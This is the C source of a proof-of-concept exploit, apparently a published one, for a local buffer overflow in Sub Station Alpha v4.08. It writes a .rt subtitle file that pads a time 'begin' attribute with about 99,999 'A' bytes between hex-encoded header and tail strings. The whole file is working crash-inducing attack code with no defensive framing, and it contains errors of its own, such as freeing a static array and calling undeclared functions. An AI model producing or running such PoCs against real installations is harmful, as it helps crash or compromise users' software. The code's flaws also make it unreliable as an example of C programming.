/*Sub Station Alpha v4.08 .rt file local buffer overflow poc
by fl0 fl0w*/
#include <string.h>
#include <stdio.h>
#define FIL3 "testfile.rt"
char header[]=
{
"\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30"
"\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C"
"\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D"
"\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22" //header 109 bytes
};
char tail[]=
{
//junk
"\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74"
"\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39"
"\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72"
"\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65"
"\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F"
"\x77\x3E\x0D\x0A" //tail 154 bytes
};
char banner[]=
{
"***********************************************************\n"
"Sub Station Alpha v4.08 .rt file local buffer overflow poc*\n"
" by fl0 fl0w *\n"
"***********************************************************\n"
};
/*--------prototypes------*/
int cpy(char*,char*,int);
int cpystr(char*,int,int,int);
void print(char*);
unsigned int getFsize(FILE*,char*);
/*-----extern var--------*/
char b[1000000];
char *size;
char junk[1000000];
/*--------main---------------*/
int main()
{
printf("%s",banner);
print("Starting sploit");
memset(junk,0x41,99999);
buildf(FIL3);
print("File done!");
getchar();
return 0;
}
int buildf(char* fname)
{
FILE* fp=fopen(fname,"wb");
if(fp==NULL)
{
print("File writing error");
exit(0);
}
fprintf(fp,"%s%s%s",header,junk,tail);
printf("[!]File is %d bytes",getFsize(fp,FIL3));
fclose(fp);
free(b);
return 0;
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;
g=fopen(gname,"rb");
if(g==NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);
return s;
}
int cpy(char* source,char* dest,int offset)
{
int len;
len=strlen(source);
memcpy(dest+offset,source,len+1);
return len;
}
int cpystr(char* dest,int str,int len,int offset)
{
memset(dest+offset,str,len+1);
return len;
}
void print(char* msg)
{
printf("\n[*]%s\n",msg);
}
